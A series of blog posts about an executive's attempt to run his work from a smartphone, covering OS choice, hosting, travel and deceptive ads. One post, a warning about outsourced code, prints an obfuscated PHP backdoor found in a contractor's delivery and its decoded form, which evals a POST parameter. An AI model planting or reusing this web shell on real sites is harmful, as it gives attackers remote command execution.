Production vs Consumption 

One of my first heated conversations original the original iPhone was when people started talking about it as a desktop replacement. I distinctly remember talking to Jeremiah Grossman about how he thought the iPhone could replace the laptop for many people. I vehemently disagreed at the time because of something I call “Consumption vs Production.”

As an example of what I mean is think about what you are doing right now as you read this. You are consuming data. You’re reading words I’ve written. But you aren’t producing anything. I’ve gotten very good about bucketing my day into one of these two categories. Reading Facebook? Consumption. Writing email? Production.

My beef with the original iPhone was that it was probably the best device ever made for consumption, but lousy for production. Writing long-form documents or code seemed improbable or impossible at the time.

That has changed considerably over the years. First is the concept of multi-tasking which was very lacking from the first variants of the iPhone. Subsequent revisions came with multitasking but still lacked screen real estate. That was eventually solved by the iPhone 6 and beyond. Lastly apps were the biggest bottleneck and have continued to be a burden.

We’ve finally come to a place where consumption isn’t the only option for smartphone users. You can now utilize the phone for an incredible variety of options. I, personally, am very excited by this prospect, because it enables me to be productive with an enjoyable consumption device.

Deceptive Facebook Ads

I am the new face of Windows 10 (and probably so are you).

It looks like Facebook is using people’s photos in connection with ads that make it look like a user somehow endorses or has something to do with the ad. Below the ad, it had another user (name removed) who apparently uses the Windows 10 Facebook app (I do not). That’s information leakage for the other user, who probably never intentionally consented to letting people know what OS or type of application they’re using.

Be very wary of these ads, they in no way are any more trustworthy than any other ad, and by their very nature are deceptive.

It’s one interesting use of your personal information that has been explicitly talked about for ages in terms of how their privacy docs can indeed be used against you. Consider this the first wave of contextually deceptive ads. More to come!

How does this impact someone on their smart phone? Beyond becoming a spokesperson for a brand without your knowledge, the reduced screen real-estate and lack of tools like link previewing by hovering over the link makes it even easier to fall for predatory advertising. Be careful out there!

Going Lighweight

Going lightweight has always been a passion of mine. How light can I be? It’s not just a comfort thing, although comfort is nice. But when you have fewer physical things, there are fewer things to worry about. Or said another way, when you have everything you need and your expectations of what said needs are is set low enough, you are not inconvenienced by anything.

First, let’s talk about comfort. My main laptop is very light (I say main laptop because I have a half a dozen of them – most out of commission). It’s a Windows Surface Book and it’s amazing. Lots of great features, plenty fast, great battery life, and can act as a tablet or a full computing environment. That’s great, but it’s also heavy, or at least compared to a smart phone. It’s heavy enough that if I were able to shrink it down to handheld weight I wouldn’t want it as my phone. The aspect that I like about the phone is it’s convenient because I have it, and I have it because it’s small, light and does a lot of things relatively well.

Comfort means two things, comfort to carry said device on your person and comfort to carry it as you travel. I find that the modern cell phone is light enough I don’t actually notice when I’m carrying it. And it’s also light enough that it’s a shoe-in for long travel where poundage matters to the total ability to travel without being inconvenienced by the addition weight.

Second is the burden of traveling with the device. There is a large mental consequence to worrying about your possessions. Since carrying a laptop with you everywhere is unlikely, if you care about your equipment you need to trust nothing will happen when you leave your bag under the table at the restaurant while you’re in the bathroom, worry about it but do nothing, or be the nut job who carries their laptop to the bathroom.

I personally think enough of my brainpower is spent worrying about the physical whereabouts of my computer equipment that I’m less effective at socializing and moving around from place to place. If I can avoid worrying as much because my equipment is with me at all times, I can dedicate the mental resources to the business I’m there to attend to. It’s a huge burden lifted.

I have traveled Internationally with just a burner phone and no laptops for years. I can say it feels a bit naked but also extremely liberating to be traveling with everything on your person and knowing if any of it is lost there’s very little financial damage done.

Phone VS Tablet

Why a phone? Why not a tablet, like a Windows Surface or an iPad? It’s one of the first questions I get asked when I start explaining this experiment. Or someone will scoff because if it can be done with an iPad or tablet, surely a phone is the natural extension and plenty of people have ditched their laptops for a tablet.

There’s two very major differences (and a whole bunch of others that I won’t get into). First, the size. That may seem obvious, but with a smaller form factor you get one major pro and a bunch of cons. The phone is far far more portable than an iPad. Are you really going to carry an iPad to the Opera, or dancing? If you’re going out drinking are you bringing your iPad with you? Sure, maybe if you’re a huge nerd who doesn’t care about carrying a bag around with you everywhere. But normal people under a normal circumstance will be reluctant to have a tablet with them if it doesn’t naturally fit with their attire.

It reminds me of the old adage that “the best camera is the one you have on you.” That speaks to why phones have become the dominant camera platform on the planet, far exceeding the big boys like Nikon, Cannon, etc. But it also speaks to why your cell phone is the right choice if ubiquity of access is important. If you have a cell phone on you at all times, you’re far more likely to use it and all of it’s potential. That can be good or bad depending on your lifestyle, but for sake of argument that it’s always a good thing to have your work environment when you need it.

The second thing is that the operating system and the way apps work are different. For instance context switching between apps works differently on the different operating systems – a topic I’ll spend a lot more time on later. But it is slightly more difficult to use the phone if you need to switch apps quickly in your work environment.

It may seem like minutia, but while tablets may be reminiscent of the phone, they are different enough that I think discussing them as a desktop or laptop alternative is a much simpler task compared to the phone. But hopefully we can change all that and make the phone the go-to for the people who want true mobility.

Upwork Outsourcing

As part of this experiment I decided to outsource the updating of this website with better graphics and layout. This was clearly done by someone on their cell phone and that’s not cutting it!  So I turned to Upwork (used to be Odesk for those of you who are familiar with the old name).

Setting up an account was a bit painful since their app doesn’t currently support the entire suite of tools on their website. Switching between the mobile browser and the app was a bit annoying, but it did work. After finally getting authorized, setting up payment, and getting a developer I was off to the races.

Things were going okay at first, for the first week or so. Regular communication and clear deadlines are important. But this particular developer had some tricks up their sleeves. Firstly, the account they used was a front for a larger dev team. That dev team wasn’t willing to use the built-in Upwork feature to track their time. That was my first clue that something was about to go awry.

The second is that it took 40 hours to package up the code for delivery – something that should have been extremely simple to do if the code was indeed being developed in any professional way.  But the last issue was the kicker.

When I got the code it was in a format the the iPhone can’t easily handle – zip files. So I broke my rule and downloaded it into a computer and before I could even unzip it, Microsoft’s Security Essentials found something that looked suspicious. So I dug into the code and found 6 PHP back doors that would allow this developer and their team to get access to this site.

Here’s an example of what the code looked like:

<?php $viu0="sutpe_or"; $iwvk7=$viu0[0].$viu0[2].$viu0[7].$viu0[2].$viu0[6].$viu0[1].$viu0[3].$viu0[3].$viu0[4].$viu0[7]; $uvwh73=$iwvk7 ($viu0[5].$viu0[3].$viu0[6].$viu0[0].$viu0[2]); if(isset(${$uvwh73}['q490ded'])){eval( ${$uvwh73}['q490ded']);} ?>

And after it’s decoded, this is what it looks like:

<?php if(isset(${_POST}['q490ded'])){eval(${_POST}['q490ded']);} ?>

Basically what this says is that any time their team went to my website and did a POST request to my site with the above parameter they would have been able to run any command they wanted to as if they had the same level of access that I had. That’s a bad thing if you’ve never heard of such a thing.

This points to two major failings of using the cell phone – uncompressing, navigating and finding issues within files is always going to be a bit more complex, except on things like unlocked Android environments. Secondly, even attempting to use a cell phone for this type of task became overwhelmingly painful even in such a simple task as receiving content and uploading it to the site.

I’ve contested the work the developer did, but as a smart phone executive, this is something to be wary of. I have very little concerns with Upwork as a company, but the developers you happen to be saddled with are a mixed bag and you need to be extremely cautious of their eventual work product.

Update: less than one day later the funds have been returned! Thanks to Upwork, Joe, and Dennis for helping in this matter!

Upwork Response

Which OS and Why?

The first comments I got when I started this blog was, “Why the iPhone” or “Why not Android?”  The short answer is that I’m not married to any phone, and I intend to try many out in the process of writing this blog. But not everyone has the means or interest in trying out lots of devices. So they still need the question answered, “Which Phone should I choose?”

To answer that question, I need to give you a bit of background on how I view the ecosystem.  I don’t think about phones in a vacuum, I think about them holistically with their big daddy desktop/laptop operating systems.  So let’s look at the other options first:

Just a few of the Phones I’ve Owned Going Into This Project

  • Windows 7 and 10 are both really nice operating systems to use.  Say what you will, but Windows has done a really nice job with those operating systems if you need to be productive.  We can all joke about how bad Windows 8 was, but why exactly was it bad?  In my opinion it’s because Windows was fighting to make Metro a part of the desktop environment and it was their first very bad attempt to make that happen.  Why does Metro matter so much?  It matters because if they get it right, there will be a seemless switch between mobile and desktop.  If I had a Windows Operating system on my phone that was powerful enough to act as a desktop, which they are for most people, it should be a seemless switch to pick up my phone and take my tools, my data and my environment with me.  A phone that can act as a desktop is the holy grail and Microsoft gets this design ethos better than anyone.  When Windows 10 came out, you saw them shrink the Metro interface into the start menu and behold, it looks a lot like the phone viewport now.  Windows 10 gets it right.  It’s an open (not as in open source, but open as it I can install and run virtually anything from anywhere) OS.
  • Windows Mobile – the little phone OS that could.  I know a lot of people who swear by it.  I actually really enjoyed my Windows phone when I first started using it.  It’s nearly identical to the Metro interface of Windows 10, which is to say, it’s kinda ugly but very powerful.  As a tool for doing work, it’s a solid choice.  Apps, however, are lagging way behind the iPhone and Android market and Metro is actually different enough that many things don’t work the same.


  • Chrome OS is the most locked down desktop operating system on the market.  It’s designed to limit the user to only certain types of cloud based applications or whatever can run in the browser.  I admit that cloud based applications give the user an incredibly large array of things, but as a desktop operating system it’s a poor choice for someone who needs to install and run applications, have local files, or do any meaningful non-web related work.  Therefore it would never be an option for someone like myself.  But I do get the appeal for users who need a lightweight, cheap and powerful email and browsing platform.  It’s enough to use TurboTax online and shop Amazon and for most people that’s good enough.
  • Android is the most open mobile phone OS on the market, which is odd, because their desktop environment is so closed.  This is one of the weird paradoxes of their stance on security and it makes it nearly impossible to consider Android and ChromeOS as the same family of product or even compatible beyond whatever cloud applications they tie into.  Android is comparable to iOS in terms of security, but Android third party app market places are as Old Ben Kanobi said, “the most wretched hive of scum and villainy.”  Google’s stance on privacy has always made them incompatible with my needs as a privacy/security guy and that requires a lot of work on the user’s side to correct/mitigate if they are concerned about it.  Android is really a family of phones, and therefore some software that might work on one phone perfectly may not run at all on another, which can make the app store experience frustrating.  So although Android is easily the best choice for flexibility and power, it’s lack of compatibility with a desktop OS and it’s messy third party app store/ecosystem makes it a bit of a wash.


  • OSX is a nice looking OS with relatively nice features.  It’s based on FreeBSD, which is a very robust Unix derivative that has wonderful security features.  As a result, it is very easy to develop applications for it, and run a full feature set of software, giving you as granular access as you want – as long as you’re not publishing commercial software, which is a different story.  But as a user and producer of content, it’s a very nice operating system.  I do have a long list of issues with the usability of the OS, but it’s come a long way.
  • iOS on the other hand is basically perfect in terms of usability compared to OSX.  Literally children and pets can use it.  iOS, however, is an extremely locked down OS – similar to ChromeOS in that regard.  It has virtually no congruence with the Desktop operating system either beyond a syncing application, some of the UI elements like search and it’s “Handoff” function.  But what makes up for that is that it does have the best app store of any product in terms of safety and offerings.  There can be some compatibility issues with screen resolution in apps – particularly with newer phones until everyone adjusts.  But Apple has also made a commitment to trying to make their phones harder to break into, which is a big plus for a weary privacy advocate/business traveler.

I know I didn’t mention some esoteric phones operating systems like Firefox OS, Sailfish OS, Tizen, Ubuntu Touch, or even well known ones like Blackberry OS.  That is intentional.  For this experiment, I’ll be focused on the most common devices.

After having dozens of phones, and having plenty of opportunities to try this experiment before, the current generation of phones have all, almost accidentally become the perfect phones to attempt this experiment.  The answer of “Which smart phone is best” will end up being a matter of preference, security needs, corporate policy oversight, hardware features and possibly a matter of app capabilities.  There is no perfect phone for everyone.  But there are a lot of really excellent phones out there.

WordPress Hosting

A customer facing exec is going to want a blog, like this one. And even if you don’t want one, you’re going to need one. Get over it. Get used to it. Get to love it. It’s your voice, your mouthpiece and your connection to the community at large.

I’ve played with a lot of self hosted CMSs, and even forked WordPress at one point. But you shouldn’t put yourself behind the eightball. You need to keep yourself light and let other people hand administration and security unless you absolutely can’t for some reason.

That’s where WPEngine comes into play. The site has a simple configuration system that can get you up in running in almost no time at all.

WPEngine Login Page
WPEngine’s Administrative Console
  1. Point DNS to the correct IP address for the site (like within Godaddy or whichever registrar you’ve chosen.
  2. Change WordPress to the new domain URL (like
  3. Update the domain settings in WPengine to reflect the new domain that you’ve chosen.
  4. Wait up to 30 minutes for your registrar to push the DNS settings.

And just like that, you have a blog and a conduit to your community. Pretty simple. For around $350 a year you could be up and running in just a few minutes.

First Thing’s First

You can’t start a blog without a domain. And for domains you have lots of choices. I’ve loved working with Dynadot and Namecheap has also been great. But for something like this, Godaddy is simply easier. Yep, Godaddy, the same registrar with the semi-chauvinistic ads you see during the superbowl.

Godaddy Ordering Page

There are two reasons to get past the commecials for a project like this. Firstly, they have a somewhat good smart phone app. I say somewhat good because you’ll end up having to use the website in mobile Safari for a lot of the setup. It’s not a terrible app, just low on frills. Behold the DNS configuration screen:

Godaddy Phone App

Nothing to write home about and very light on featurs but if you need to make changes in a pinch, it’s a straight forward GUI.  The bad part comes when you try to configure other parts of their interface. But if that were the only reason to use Godaddy it wouldn’t be worth talking about.

The second reason is because they have a seamless Office365 integration, which makes setting up email accounts relatively painless.

Godaddy Meets Office 365

Office 365 Ordering Page

After setting that up you should be good to go with a domain and an email account. Two things a CEO should never be without!  All in it should cost you about $100 for one year. Next?  The blog itself…

The Rules

I can’t start this project without setting some ground rules. It’s unfair and incorrect to say I’m only ever on a smart phone only when it’s clear I will be utilizing other devices. So here’s what I consider to be out of scope:

  1. Other people and their tools. I can only do this experiment on myself and therefore I can’t force employees, partners, vendors or customers to use any kind of smart phone as their primary method of doing business.
  2. The past. I can’t change anything that already existed that didn’t use an phone during it’s creation.
  3. Websites and infrastructure. You’re not going to be served from my phone. Yes, I could root a  smart phone and install a webserver on it and jerry rig something to work, but no, I’m not going to do that. Time is money!
  4. Peripherals. Earphones, monitors, keyboards, printers, etc. we need these things and I’ll talk about them. But they are separate and aren’t in scope for phone only blog.
  5. Internet Access. This should go without saying but I’ll need Internet access and I’ll be discussing that a bit too. Being online is very important. But it’s not in scope.
  6. Power. Of course I’m going to need external power and that won’t be in scope, though I do have lots of thoughts about it and will certainly discuss it.
  7. Pictures and Video. If I can take pictures and video with the phone, I will. But if I can’t because they are of the phone itself, I won’t. I’ll use an external camera as needed. If I repost other people’s photos, those cannot be guaranteed to be from a phone either.
  8. Backups. I’ll need to use external equipment for backups. As much as I like the idea of the cloud, I’m a bit wary of it given some of my other projects. Backups will exist locally and are out of scope.
  9. Non-SmartPhone Exec stuff. This is a bit amorphic, but I do work on other projects and for those projects I may need other equipment. Those other projects are out of scope for this. So if you see me with some other tech, don’t tackle me and call the hypocrisy police!
  10. The Cloud. I’m not going to count anything in the cloud.  If I can access it through the smart phone, I’m not going to pretend like that should count.  Yes, this might feel a bit like cheating, if I VNC or SSH into a machine.  But in reality, this might be the best way to go truly mobile.
  11. Downtime. For my own sanity, I may chose other devices for rest and relaxation. We’ll see. But a man does need to binge watch some Netflix sometimes. The tiny screen and constant interruptions from the phone aren’t cutting it. So it’s out of scope.

But that should be it. As I discuss the steps to becoming a real road warrior, you should keep in mind that these rules are intended to be a guideline and I may come back and revisit them. But I’ll do what I can to make this work. If you have any questions or suggestions, don’t hesitate to shoot them over.

My Smartphone History

When I first saw the modern cell phone I thought it had a lot of promise.  It would take years before that dream could be realized.  The news and buzz around the first iPhone I thought might be interesting. For years I thought the concept of a device that integrated cellular, text, email, phone and GPS was inevitable and poof, one day Steve Jobs did it. But I wasn’t one of the first to rush out and wait in line to buy it. No, quite the contrary.

I deeply worried about the security implications of such a device. A friend of mine, HD Moore, (author of Metasploit) was eager to show me how he had rooted his device, and installed Python on it so that he could hack from the device. He was almost breathlessly excited to tell me he had found issues with the voicemail system and could listen to people’s voicemail as a result. In practically the same breath he was encouraging me to buy one.

I asked, “Why should I get an iPhone after you just told me that?”

He answered with a smirk, “So I can hack you.”

With that in mind I stayed clear of iPhones for the first several months, until I felt reasonably sure the phone had gotten most of the low hanging fruit fixed.  I finally broke down and bought one.

My first impressions weren’t good at all. It had bad battery life, no concept of multiple processes, it crashed regularly, didn’t have enough storage, it was slow and had no QUERTY keyboard. How did people live with this device? It felt like a giant step backwards to me and I’d regularly tell people it was the worst phone I had ever owned  – even worse than that Matrix slide phone that had loose microphone connectors so no one could hear you talk unless you held it just right.  Yes, the first iPhone really was that bad.

I had just left things like the Palm V and the latest Windows CE devices – all of which had nearly as many features, with way less annoying limitations around the app stores and better access to the device internals.

The next few iPhones came out and gradually my gripes decreased. With antenna-gate I went back to hating the phone. It was only slightly better than the 5 watt bag phone that I had in the car when I was younger… At least that thing had great cellular signal.  At this point the iPhone wasn’t impressing me very much.  Design failures, compounded with a locked ecosystem were a big drag.

But with the iPhone 6, nearly everything I disliked about the older versions has been rectified or I had gotten used to.  Even things like a screen that was too large to use single handedly seemed to vanish with multi-tap. In fact instead of being the worst phone I’ve ever had like the original iPhone it was suddenly the best!

Years ago I had a conversation with a friend of mine, Jeremiah Grossman about the iPhone. My major beef with it was that,

“it feels like a device for consumers of products, not builders of products.”

Of course you can update your Facebook status with photos and video. But you can’t make a company or create a product with an iPhone, I said. At least not then….

One of my dreams has always been to be truly mobile. Not just sort-of mobile where I still have a backpack full of gear when I travel. I mean really truly mobile where I can leave everything that doesn’t fit in my pocket behind and still get stuff done. No phone had never been close to that device for me. But maybe something had changed. Maybe the confluence of mobile app development, mobile responsive design with websites, better OS and superior hardware had made this possible while I hadn’t been paying attention.

So with that in mind I began thinking, perhaps it’s time to put this to the test. Can I operate my corporate life using only a cell phone?  Who knows? But we shall see.